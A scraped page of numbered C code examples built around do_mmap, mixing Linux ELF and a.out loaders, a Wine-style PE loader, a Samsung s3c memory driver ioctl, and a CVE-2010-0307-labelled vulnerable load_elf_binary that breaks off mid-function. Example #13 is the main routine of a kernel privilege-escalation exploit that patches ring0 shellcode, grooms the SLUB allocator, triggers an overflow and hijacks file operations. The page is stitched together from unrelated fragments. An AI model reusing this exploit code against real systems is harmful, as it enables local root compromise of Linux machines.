  bprm->p = (unsigned long)create_elf_tables((char *)bprm->p,
                        bprm->argc, bprm->envc,
                        (interpreter_type == INTERPRETER_ELF ? &elf_ex : NULL),
                        load_addr, load_bias, interp_load_addr,
                        (interpreter_type == INTERPRETER_AOUT ? 0 : 1));

#if 0                        
  /* N.B. passed_fileno might not be initialized? */
  if (interpreter_type == INTERPRETER_AOUT)
    current->arg_start += strlen(passed_fileno) + 1;
#endif  
    
  current->start_brk = current->brk = elf_brk;
  current->end_code = end_code;
  current->start_code = start_code;
  current->end_data = end_data;
  current->start_stack = bprm->p;

  /* Calling set_brk effectively mmaps the pages that we need
   * for the bss and break sections
   */
  set_brk(elf_bss, elf_brk);
  padzero(elf_bss);
  log_debug(LOG_LINEXEC_EXEC,"start_brk: %lx" , current->start_brk);
  log_debug(LOG_LINEXEC_EXEC,"end_code: %lx" , current->end_code);
  log_debug(LOG_LINEXEC_EXEC,"start_code: %lx" , current->start_code);
  log_debug(LOG_LINEXEC_EXEC,"end_data: %lx" , current->end_data);
  log_debug(LOG_LINEXEC_EXEC,"start_stack: %lx" , current->start_stack);
  log_debug(LOG_LINEXEC_EXEC,"brk: %lx" , current->brk);

  /*
   * The ABI may specify that certain registers be set up in special
   * ways (on i386 %edx is the address of a DT_FINI function, for
   * example.  This macro performs whatever initialization to
   * the regs structure is required.
   */
  ELF_PLAT_INIT((&regs));

  regs.eip = elf_entry;
  regs.esp = bprm->p;

#if 0
  if (current->flags & PF_PTRACED)
    send_sig(SIGTRAP, current, 0);
#endif

#ifndef __DEBUG__


//  dumpMemoryMap();
  log_verbose(LOG_LINEXEC_EXEC, "[transfering control to Linux executable]");
  //getchar();
  //printf("[ender]11\n");
  ASM_EXEC_JUMP(regs);
  
  printf("You should never see this message!\n");
 
#else

  printf("execve() finished, but in debug mode. exiting...\n");
 
#endif
    
  retval = 0;
out:
  return retval;

  /* error cleanup */
out_free_dentry:
  close(interpreter_fd);
  
out_free_interp:
  if (elf_interpreter) {
    free(elf_interpreter);
  }

out_free_file:
  close(elf_exec_fileno);
  
out_free_ph:
  free(elf_phdata);
  goto out;
}
Пример #12
0
static int load_exeso_binary(struct linux_binprm *bprm, struct pt_regs *regs)
{
    struct elfhdr *elf_ex;
    struct elf_phdr *elf_phdata = NULL;
    struct mm_struct *mm;
    unsigned long load_addr = 0;
    unsigned long error;
    int retval = 0;
    unsigned long pe_entry, ntdll_load_addr = 0;
    unsigned long start_code, end_code, start_data, end_data;
    unsigned long ntdll_entry;
    int executable_stack = EXSTACK_DEFAULT;
    unsigned long def_flags = 0;
    unsigned long stack_top;
#ifdef NTDLL_SO
    unsigned long	interp_load_addr;
    unsigned long	interp_entry;
#endif
    struct eprocess	*process;
    struct ethread	*thread;
    PRTL_USER_PROCESS_PARAMETERS	ppb;
    OBJECT_ATTRIBUTES	ObjectAttributes;
    INITIAL_TEB	init_teb;

    BOOLEAN is_win32=FALSE;
    struct startup_info *info=NULL;
    struct eprocess	*parent_eprocess=NULL;
    struct ethread	*parent_ethread=NULL;
    struct w32process* child_w32process =NULL;
    struct w32process* parent_w32process =NULL;

    elf_ex = (struct elfhdr *)bprm->buf;
    retval = -ENOEXEC;
    /* First of all, some simple consistency checks */
    if (memcmp(elf_ex->e_ident, ELFMAG, SELFMAG) != 0)
        goto out;
    if (elf_ex->e_type != ET_EXEC && elf_ex->e_type != ET_DYN)
        goto out;
    if (!elf_check_arch(elf_ex))
        goto out;
    if (!bprm->file->f_op||!bprm->file->f_op->mmap)
        goto out;

    if (elf_ex->e_phentsize != sizeof(struct elf_phdr))
        goto out;
    if (elf_ex->e_phnum < 1 ||
            elf_ex->e_phnum > 65536U / sizeof(struct elf_phdr))
        goto out;

    if(!check_exeso(bprm))
        goto out;

    start_code = ~0UL;
    end_code = 0;
    start_data = 0;
    end_data = 0;

    if(current->parent->ethread)
    {
        is_win32 = TRUE;
        parent_ethread = current->parent->ethread;
        parent_eprocess = parent_ethread->threads_process;
    }

    /* Flush all traces of the currently running executable */
    retval = flush_old_exec(bprm);
    if (retval) {
        goto out;
    }

    /* OK, This is the point of no return */
    mm = current->mm;
    current->flags &= ~PF_FORKNOEXEC;
    mm->def_flags = def_flags;

    current->signal->rlim[RLIMIT_STACK].rlim_cur = WIN32_STACK_LIMIT;
    current->signal->rlim[RLIMIT_STACK].rlim_max = WIN32_STACK_LIMIT;
    current->personality |= ADDR_COMPAT_LAYOUT;
    arch_pick_mmap_layout(mm);

    /* Do this so that we can load the ntdll, if need be.  We will
       change some of these later */
    mm->free_area_cache = mm->mmap_base = WIN32_UNMAPPED_BASE;
    mm->cached_hole_size = 0;
    stack_top = WIN32_STACK_LIMIT + WIN32_LOWEST_ADDR;
    retval = setup_arg_pages(bprm, stack_top, executable_stack);
    if (retval < 0)
        goto out_free_file;

    down_write(&mm->mmap_sem);
    /* reserve first 0x100000 */
    do_mmap_pgoff(NULL, 0, WIN32_LOWEST_ADDR, PROT_NONE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0);
    /* reserve first 0x7fff0000 - 0x80000000 */
    do_mmap_pgoff(NULL, WIN32_TASK_SIZE - 0x10000, 0x10000,
                  PROT_NONE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0);
    /* reserve first 0x81000000 - 0xc0000000
     * 0x80000000 - 0x81000000 used for wine SYSTEM_HEAP */
    do_mmap_pgoff(NULL, WIN32_TASK_SIZE + WIN32_SYSTEM_HEAP_SIZE,
                  TASK_SIZE - WIN32_TASK_SIZE - WIN32_SYSTEM_HEAP_SIZE,
                  PROT_NONE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, 0);
    up_write(&mm->mmap_sem);

#ifdef NTDLL_SO
    /* search ntdll.dll.so in $PATH, default is /usr/local/lib/wine/ntdll.dll.so */
    if (!*ntdll_name)
        search_ntdll();

    /* map ntdll.dll.so */
    map_system_dll(current, ntdll_name, &ntdll_load_addr, &interp_load_addr);

    pe_entry = get_pe_entry();
    ntdll_entry = get_ntdll_entry();
    interp_entry = get_interp_entry();
#endif

    set_binfmt(&exeso_format);

#ifdef ARCH_HAS_SETUP_ADDITIONAL_PAGES
    retval = arch_setup_additional_pages(bprm, executable_stack);
    if (retval < 0) {
        goto out_free_file;
    }
#endif /* ARCH_HAS_SETUP_ADDITIONAL_PAGES */

    install_exec_creds(bprm);
    current->flags &= ~PF_FORKNOEXEC;

#ifdef NTDLL_SO
    /* copy argv, env, and auxvec to stack, all for interpreter */
    create_elf_tables_aux(bprm,
                          ntdll_load_addr, ntdll_phoff, ntdll_phnum, get_ntdll_start_thunk(),
                          load_addr, elf_ex->e_phoff, elf_ex->e_phnum, 0,
                          interp_load_addr, interp_entry, 0);
#endif

    mm->end_code = end_code;
    mm->start_code = start_code;
    mm->start_data = start_data;
    mm->end_data = end_data;
    mm->start_stack = bprm->p;

    if (current->personality & MMAP_PAGE_ZERO) {
        /* Why this, you ask???  Well SVr4 maps page 0 as read-only,
           and some applications "depend" upon this behavior.
           Since we do not have the power to recompile these, we
           emulate the SVr4 behavior.  Sigh.  */
        down_write(&mm->mmap_sem);
        error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
                        MAP_FIXED | MAP_PRIVATE, 0);
        up_write(&mm->mmap_sem);
    }


    /* create win-related structure */
    INIT_OBJECT_ATTR(&ObjectAttributes, NULL, 0, NULL, NULL);

    /* Create EPROCESS */
    retval = create_object(KernelMode,
                           process_object_type,
                           &ObjectAttributes,
                           KernelMode,
                           NULL,
                           sizeof(struct eprocess),
                           0,
                           0,
                           (PVOID *)&process);
    if (retval != STATUS_SUCCESS) {
        goto out_free_file;
    }

    /* init eprocess */
    eprocess_init(NULL, FALSE, process);
    process->unique_processid = create_cid_handle(process, process_object_type);
    if (!process->unique_processid)
        goto out_free_eproc;

    /* initialize EProcess and KProcess */
    process->section_base_address = (void *)load_addr;

    /* FIXME: PsCreateCidHandle */

    /* Create PEB */
    if ((retval = create_peb(process)))
        goto out_free_process_cid;

    /* Create PPB */
    if(is_win32 == FALSE)
    {
        create_ppb(&ppb, process, bprm, bprm->filename, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
        ((PEB *)process->peb)->ProcessParameters = ppb;
    }
    /* allocate a Win32 thread object */
    retval = create_object(KernelMode,
                           thread_object_type,
                           &ObjectAttributes,
                           KernelMode,
                           NULL,
                           sizeof(struct ethread),
                           0,
                           0,
                           (PVOID *)&thread);
    if (retval) {
        goto out_free_process_cid;
    }

    thread->cid.unique_thread = create_cid_handle(thread, thread_object_type);
    thread->cid.unique_process = process->unique_processid;
    if (!thread->cid.unique_thread)
        goto out_free_ethread;

    /* set the teb */
    init_teb.StackBase = (PVOID)(bprm->p);
    init_teb.StackLimit = (PVOID)WIN32_LOWEST_ADDR + PAGE_SIZE;
    thread->tcb.teb = create_teb(process, (PCLIENT_ID)&thread->cid, &init_teb);
    if (IS_ERR(thread->tcb.teb)) {
        retval = PTR_ERR(thread->tcb.teb);
        goto out_free_thread_cid;
    }

    /* Init KThreaad */
    ethread_init(thread, process, current);

    sema_init(&thread->exec_semaphore,0);
    if (is_win32 == TRUE) //parent is a windows process
    {
        down(&thread->exec_semaphore);  //wait for the parent

        child_w32process = process->win32process;
        parent_w32process = parent_eprocess->win32process;
        info = child_w32process->startup_info;

        //now parent has finished its work
        if(thread->inherit_all)
        {
            create_handle_table(parent_eprocess, TRUE, process);
            child_w32process = create_w32process(parent_w32process, TRUE, process);
        }
    }

    deref_object(process);
    deref_object(thread);

    set_teb_selector(current, (long)thread->tcb.teb);

    thread->start_address = (void *)pe_entry;	/* FIXME */

    /* save current trap frame */
    thread->tcb.trap_frame = (struct ktrap_frame *)regs;

    /* init apc, to call LdrInitializeThunk */
#if 0
    thread_apc = kmalloc(sizeof(KAPC), GFP_KERNEL);
    if (!thread_apc) {
        retval = -ENOMEM;
        goto out_free_thread_cid;
    }
    apc_init(thread_apc,
             &thread->tcb,
             OriginalApcEnvironment,
             thread_special_apc,
             NULL,
             (PKNORMAL_ROUTINE)ntdll_entry,
             UserMode,
             (void *)(bprm->p + 12));
    insert_queue_apc(thread_apc, (void *)interp_entry, (void *)extra_page, IO_NO_INCREMENT);
#ifndef TIF_APC
#define	TIF_APC	13
#endif
    set_tsk_thread_flag(current, TIF_APC);
#endif

#ifdef ELF_PLAT_INIT
    /*
     * The ABI may specify that certain registers be set up in special
     * ways (on i386 %edx is the address of a DT_FINI function, for
     * example.  In addition, it may also specify (eg, PowerPC64 ELF)
     * that the e_entry field is the address of the function descriptor
     * for the startup routine, rather than the address of the startup
     * routine itself.  This macro performs whatever initialization to
     * the regs structure is required as well as any relocations to the
     * function descriptor entries when executing dynamically links apps.
     */
    ELF_PLAT_INIT(regs, reloc_func_desc);
#endif

    start_thread(regs, interp_entry, bprm->p);
    if (unlikely(current->ptrace & PT_PTRACED)) {
        if (current->ptrace & PT_TRACE_EXEC)
            ptrace_notify ((PTRACE_EVENT_EXEC << 8) | SIGTRAP);
        else
            send_sig(SIGTRAP, current, 0);
    }

    retval = 0;

    try_module_get(THIS_MODULE);

    /* return from w32syscall_exit, not syscall_exit */
    ((unsigned long *)regs)[-1] = (unsigned long)w32syscall_exit;
    regs->fs = TEB_SELECTOR;

out:
    if(elf_phdata)
        kfree(elf_phdata);
    return retval;

    /* error cleanup */
out_free_thread_cid:
    delete_cid_handle(thread->cid.unique_thread, thread_object_type);
out_free_ethread:
    deref_object(thread);
out_free_process_cid:
    delete_cid_handle(process->unique_processid, process_object_type);
out_free_eproc:
    deref_object(process);
out_free_file:
    send_sig(SIGKILL, current, 0);
    goto out;
}
Пример #13
0
int main(int argc, char *argv[])
{
    int peerx, peery,i;
    __u64 *patch;

    srvport = get_port();

    uid=getuid();
    gid=getgid();
    fops=get_fops_addr() + 64;
    if(!fops)
    {
        __msg("[!!] Unable to locate symbols...\n");
        return 1;
    }

    __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
    patch = (__u64*)(ring0 + CJUMP_OFF);
    *patch = (__u64)ring0c;

    __msg_f("[**] Using port: %d\n", srvport);
    __msg("[**] Getting slab info...\n");
    kmalloc_fd = get_kmalloc_fd();
    if(!get_total_object(kmalloc_fd))
        __fatal("[!!] Only SLUB allocator supported\n");


    __msg("[**] Mapping Segments...\n");
    __msg("[**] Trying mapping safe page...");
    if(do_mmap(STRUCT_PAGE, 1) < 0)
    {
        __msg("Page Protection Present (Unable to Map Safe Page)\n");
        __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
        if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
            __fatal_errno("mmap");

        cankill=0;  /* dont kill child owning unsafe fds.. */
        highpage=1; /* ssnmap in higher pages */
        zstream=STREAM_ZERO_ALT;
    }
    else
        __msg("Done\n");

    __msg("[**] Mapping Code Page... ");
    if(do_mmap(CODE_PAGE, 1) < 0)
        __fatal_errno("mmap");
    else
        __msg("Done\n");

    memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

    __msg("[**] Binding on CPU 0\n");
    bindcpu();

    __msg("[**] Start Server Thread..\n");
    child = start_listener();
    sleep(3);

    do_socks(&server_s, zstream);
    for(i=0; i<7; i++)
    {
        close(g_array[8-1-i]);
    }
    clr(1);
    alloc_tioclinux(); // trigger overflow
    peerx = create_and_init();
    connect_peer(peerx, &server_s);
    peery = create_and_init();
    connect_peer(peery, &server_s);

    sleep(1);

    unsafe_fd[0] = peerx;
    unsafe_fd[1] = g_array[8];
    unsafe_fd[2] = peery;
    unsafe_fd[3] = g_array[9];

    __msg("\n");
    __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
    __msg_f("[**] Unsafe  fd: ( ");

    for(i=0; i<4; i++)
        __msg_f("%d ", unsafe_fd[i]);
    __msg(")\n");


    __msg("[**] Hijacking fops...\n");
    overwrite_fops(fd_zmap_srv, &caddr, peery);

    /* if u get here.. something nasty happens...may crash..*/
    __free_stuff();
    __msg("[**] Exploit failed.. freezing process\n");
    kill(getpid(), SIGSTOP);
    return 0;
}
Пример #14
0
uintptr_t sys_mmap(uintptr_t addr, size_t length, int prot, int flags, int fd, off_t offset)
{
  uintptr_t ret =  do_mmap(addr, length, prot, flags, fd, offset);
  return ret;
}
Пример #15
0
static int load_aout_library(struct file *file)
{
	struct inode * inode;
	unsigned long bss, start_addr, len;
	unsigned long error;
	int retval;
	struct exec ex;

	inode = file->f_dentry->d_inode;

	retval = -ENOEXEC;
	error = kernel_read(file, 0, (char *) &ex, sizeof(ex));
	if (error != sizeof(ex))
		goto out;

	/* We come in here for the regular a.out style of shared libraries */
	if ((N_MAGIC(ex) != ZMAGIC && N_MAGIC(ex) != QMAGIC) || N_TRSIZE(ex) ||
	    N_DRSIZE(ex) || ((ex.a_entry & 0xfff) && N_MAGIC(ex) == ZMAGIC) ||
	    inode->i_size < ex.a_text+ex.a_data+N_SYMSIZE(ex)+N_TXTOFF(ex)) {
		goto out;
	}

	if (N_FLAGS(ex))
		goto out;

	/* For  QMAGIC, the starting address is 0x20 into the page.  We mask
	   this off to get the starting address for the page */
#ifndef __arm__
	start_addr =  ex.a_entry & 0xfffff000;
#else
	start_addr = ex.a_entry & 0xffff8000;
#endif

	if ((N_TXTOFF(ex) & ~PAGE_MASK) != 0) {
		static unsigned long error_time;
		loff_t pos = N_TXTOFF(ex);

		if ((jiffies-error_time) > 5*HZ)
		{
			printk(KERN_WARNING 
			       "N_TXTOFF is not page aligned. Please convert library: %s\n",
			       file->f_dentry->d_name.name);
			error_time = jiffies;
		}

		do_brk(start_addr, ex.a_text + ex.a_data + ex.a_bss);
		
		file->f_op->read(file, (char *)start_addr,
			ex.a_text + ex.a_data, &pos);
		flush_icache_range((unsigned long) start_addr,
				   (unsigned long) start_addr + ex.a_text + ex.a_data);

		retval = 0;
		goto out;
	}
	/* Now use mmap to map the library into memory. */
	down_write(&current->mm->mmap_sem);
	error = do_mmap(file, start_addr, ex.a_text + ex.a_data,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
			N_TXTOFF(ex));
	up_write(&current->mm->mmap_sem);
	retval = error;
	if (error != start_addr)
		goto out;

	len = PAGE_ALIGN(ex.a_text + ex.a_data);
	bss = ex.a_text + ex.a_data + ex.a_bss;
	if (bss > len) {
		error = do_brk(start_addr + len, bss - len);
		retval = error;
		if (error != start_addr + len)
			goto out;
	}
	retval = 0;
out:
	return retval;
}
Пример #16
0
int s3c_mem_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)
{
	unsigned long *virt_addr;
	struct mm_struct *mm = current->mm;
	struct s3c_mem_alloc param;
	struct s3c_mem_dma_param dma_param;

	switch (cmd) {
		case S3C_MEM_ALLOC:
			mutex_lock(&mem_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC;
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
				printk("S3C_MEM_ALLOC FAILED\n");
				flag = 0;
				mutex_unlock(&mem_alloc_lock);
				return -EFAULT;
			}
			param.phy_addr = physical_address;
			DEBUG("KERNEL MALLOC : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_alloc_lock);

			break;

		case S3C_MEM_CACHEABLE_ALLOC:
			mutex_lock(&mem_cacheable_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_cacheable_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC_CACHEABLE;
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
				printk("S3C_MEM_ALLOC FAILED\n");
				flag = 0;
				mutex_unlock(&mem_cacheable_alloc_lock);
				return -EFAULT;
			}
			param.phy_addr = physical_address;
			DEBUG("KERNEL MALLOC : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_cacheable_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_cacheable_alloc_lock);

			break;

		case S3C_MEM_SHARE_ALLOC:
			mutex_lock(&mem_share_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_share_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC_SHARE;
			physical_address = param.phy_addr;
			DEBUG("param.phy_addr = %08x, %d\n", physical_address, __LINE__);
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
				printk("S3C_MEM_SHARE_ALLOC FAILED\n");
				flag = 0;
				mutex_unlock(&mem_share_alloc_lock);
				return -EFAULT;
			}
			DEBUG("MALLOC_SHARE : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_share_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_share_alloc_lock);

			break;

		case S3C_MEM_CACHEABLE_SHARE_ALLOC:
			mutex_lock(&mem_cacheable_share_alloc_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_cacheable_share_alloc_lock);
				return -EFAULT;
			}
			flag = MEM_ALLOC_CACHEABLE_SHARE;
			physical_address = param.phy_addr;
			DEBUG("param.phy_addr = %08x, %d\n", physical_address, __LINE__);
			param.vir_addr = do_mmap(file, 0, param.size, PROT_READ|PROT_WRITE, MAP_SHARED, 0);
			DEBUG("param.vir_addr = %08x, %d\n", param.vir_addr, __LINE__);
			if(param.vir_addr == -EINVAL) {
				printk("S3C_MEM_SHARE_ALLOC FAILED\n");
			flag = 0;
				mutex_unlock(&mem_cacheable_share_alloc_lock);
				return -EFAULT;
			}
			DEBUG("MALLOC_SHARE : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				flag = 0;
				mutex_unlock(&mem_cacheable_share_alloc_lock);
				return -EFAULT;
			}
			flag = 0;
			mutex_unlock(&mem_cacheable_share_alloc_lock);

			break;

		case S3C_MEM_FREE:
			mutex_lock(&mem_free_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_free_lock);
				return -EFAULT;
			}

			DEBUG("KERNEL FREE : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if (do_munmap(mm, param.vir_addr, param.size) < 0) {
				printk("do_munmap() failed !!\n");
				mutex_unlock(&mem_free_lock);
				return -EINVAL;
			}
			virt_addr = (unsigned long *)phys_to_virt(param.phy_addr);

			kfree(virt_addr);
			param.size = 0;
			DEBUG("do_munmap() succeed !!\n");

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_free_lock);
				return -EFAULT;
			}

			mutex_unlock(&mem_free_lock);

			break;

		case S3C_MEM_SHARE_FREE:
			mutex_lock(&mem_share_free_lock);
			if(copy_from_user(&param, (struct s3c_mem_alloc *)arg, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_share_free_lock);
				return -EFAULT;
			}

			DEBUG("MEM_SHARE_FREE : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X, %d\n", param.phy_addr, param.size, param.vir_addr, __LINE__);

			if (do_munmap(mm, param.vir_addr, param.size) < 0) {
				printk("do_munmap() failed - MEM_SHARE_FREE!!\n");
				mutex_unlock(&mem_share_free_lock);
				return -EINVAL;
			}

			param.vir_addr = 0;
			DEBUG("do_munmap() succeed !! - MEM_SHARE_FREE\n");

			if(copy_to_user((struct s3c_mem_alloc *)arg, &param, sizeof(struct s3c_mem_alloc))){
				mutex_unlock(&mem_share_free_lock);
				return -EFAULT;
			}

			mutex_unlock(&mem_share_free_lock);

			break;

#if 0 /* IOCTL for Old PL-080 codes (dma-pl080.c) */
		case S3C_MEM_DMA_COPY:
			if(copy_from_user(&dma_param, (struct s3c_mem_dma_param *)arg, sizeof(struct s3c_mem_dma_param))) {
				return -EFAULT;
			}
			//printk("S3C_MEM_DMA_COPY called\n");

			if (s3c2410_dma_request(DMACH_3D_M2M, &s3c_m2m_dma_client, NULL)) {
				printk(KERN_WARNING "Unable to get DMA channel.\n");
				return -1;
			}

			s3c2410_dma_set_buffdone_fn(DMACH_3D_M2M, s3c_m2m_dma_finish);

			//dma_cache_maint(dma_param.src_addr,sizeof(unsigned long long), DMA_BIDIRECTIONAL);

 //  		    	printk("MEMCPY src=%p,dst=%p,size=%d\n", dma_param.src_addr,dma_param.dst_addr, dma_param.size);

			/* Source address */
			s3c2410_dma_devconfig(DMACH_3D_M2M, S3C_DMA_MEM2MEM, dma_param.src_addr);
			s3c2410_dma_config(DMACH_3D_M2M, 8);

			/* Destination address : Data buffer address */
			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, dma_param.dst_addr, dma_param.size);
			s3c2410_dma_ctrl(DMACH_3D_M2M, S3C2410_DMAOP_START);

			wait_for_completion(&s3c_m2m_dma_complete);
#if 0 /* Test code with hard coding */
			/* Destination address : Data buffer address */
			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, 0x27a00000, 0x4000);
			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, 0x27a00000+0x10000, 0x4000);
			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, 0x27a00000+0x20000, 0x4000);
			s3c2410_dma_ctrl(DMACH_3D_M2M, S3C2410_DMAOP_START);

			wait_for_completion(&s3c_m2m_dma_complete);
			//wait_for_completion(&s3c_m2m_dma_complete);
			//wait_for_completion(&s3c_m2m_dma_complete);

			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, 0x27a00000+0x30000, 0x4000);
			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, 0x27a00000+0x40000, 0x4000);
			s3c2410_dma_ctrl(DMACH_3D_M2M, S3C2410_DMAOP_START);
			wait_for_completion(&s3c_m2m_dma_complete);
			//wait_for_completion(&s3c_m2m_dma_complete);

			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, 0x27a00000+0x50000, 0x4000);
			s3c2410_dma_ctrl(DMACH_3D_M2M, S3C2410_DMAOP_START);
			wait_for_completion(&s3c_m2m_dma_complete);
#endif /* Test code with hard coding */

			s3c2410_dma_free(DMACH_3D_M2M, &s3c_m2m_dma_client);

			if(copy_to_user((struct s3c_mem_dma_param *)arg, &dma_param, sizeof(struct s3c_mem_dma_param))) {
				return -EFAULT;
			}

			break;

		case S3C_MEM_DMA_SET:
			if(copy_from_user(&dma_param, (struct s3c_mem_dma_param *)arg, sizeof(struct s3c_mem_dma_param))) {
				return -EFAULT;
			}

			if (s3c2410_dma_request(DMACH_3D_M2M, &s3c_m2m_dma_client, NULL)) {
				printk(KERN_WARNING "Unable to get DMA channel.\n");
				return -1;
			}

			s3c2410_dma_set_buffdone_fn(DMACH_3D_M2M, s3c_m2m_dma_finish);

			//dma_cache_maint(dma_param.src_addr,sizeof(unsigned long long), DMA_BIDIRECTIONAL);

//   		    	printk("MEMSET src=%p,dst=%p,size=%d\n", dma_param.src_addr,dma_param.dst_addr, dma_param.size);

			/* Source address */
			s3c2410_dma_devconfig(DMACH_3D_M2M, S3C_DMA_MEM2MEM_SET, dma_param.src_addr); 
			s3c2410_dma_config(DMACH_3D_M2M, 8);
			
			/* Destination address : Data buffer address */
			s3c2410_dma_enqueue(DMACH_3D_M2M, 0, dma_param.dst_addr, dma_param.size);
			s3c2410_dma_ctrl(DMACH_3D_M2M, S3C2410_DMAOP_START);

			wait_for_completion(&s3c_m2m_dma_complete);

			s3c2410_dma_free(DMACH_3D_M2M, &s3c_m2m_dma_client);

			if(copy_to_user((struct s3c_mem_dma_param *)arg, &dma_param, sizeof(struct s3c_mem_dma_param))) {
				return -EFAULT;
			}
			break;
#endif

		default:
			DEBUG("s3c_mem_ioctl() : default !!\n");
			return -EINVAL;
	}

	return 0;
}
static int CVE_2010_0307_linux2_6_27_31_load_elf_binary(struct linux_binprm *bprm, struct pt_regs *regs)
{
	struct file *interpreter = NULL; /* to shut gcc up */
 	unsigned long load_addr = 0, load_bias = 0;
	int load_addr_set = 0;
	char * elf_interpreter = NULL;
	unsigned long error;
	struct elf_phdr *elf_ppnt, *elf_phdata;
	unsigned long elf_bss, elf_brk;
	int elf_exec_fileno;
	int retval, i;
	unsigned int size;
	unsigned long elf_entry;
	unsigned long interp_load_addr = 0;
	unsigned long start_code, end_code, start_data, end_data;
	unsigned long reloc_func_desc = 0;
	int executable_stack = EXSTACK_DEFAULT;
	unsigned long def_flags = 0;
	struct {
		struct elfhdr elf_ex;
		struct elfhdr interp_elf_ex;
	} *loc;

	loc = kmalloc(sizeof(*loc), GFP_KERNEL);
	if (!loc) {
		retval = -ENOMEM;
		goto out_ret;
	}
	
	/* Get the exec-header */
	loc->elf_ex = *((struct elfhdr *)bprm->buf);

	retval = -ENOEXEC;
	/* First of all, some simple consistency checks */
	if (memcmp(loc->elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		goto out;

	if (loc->elf_ex.e_type != ET_EXEC && loc->elf_ex.e_type != ET_DYN)
		goto out;
	if (!elf_check_arch(&loc->elf_ex))
		goto out;
	if (!bprm->file->f_op||!bprm->file->f_op->mmap)
		goto out;

	/* Now read in all of the header information */
	if (loc->elf_ex.e_phentsize != sizeof(struct elf_phdr))
		goto out;
	if (loc->elf_ex.e_phnum < 1 ||
	 	loc->elf_ex.e_phnum > 65536U / sizeof(struct elf_phdr))
		goto out;
	size = loc->elf_ex.e_phnum * sizeof(struct elf_phdr);
	retval = -ENOMEM;
	elf_phdata = kmalloc(size, GFP_KERNEL);
	if (!elf_phdata)
		goto out;

	retval = kernel_read(bprm->file, loc->elf_ex.e_phoff,
			     (char *)elf_phdata, size);
	if (retval != size) {
		if (retval >= 0)
			retval = -EIO;
		goto out_free_ph;
	}

	retval = get_unused_fd();
	if (retval < 0)
		goto out_free_ph;
	get_file(bprm->file);
	fd_install(elf_exec_fileno = retval, bprm->file);

	elf_ppnt = elf_phdata;
	elf_bss = 0;
	elf_brk = 0;

	start_code = ~0UL;
	end_code = 0;
	start_data = 0;
	end_data = 0;

	for (i = 0; i < loc->elf_ex.e_phnum; i++) {
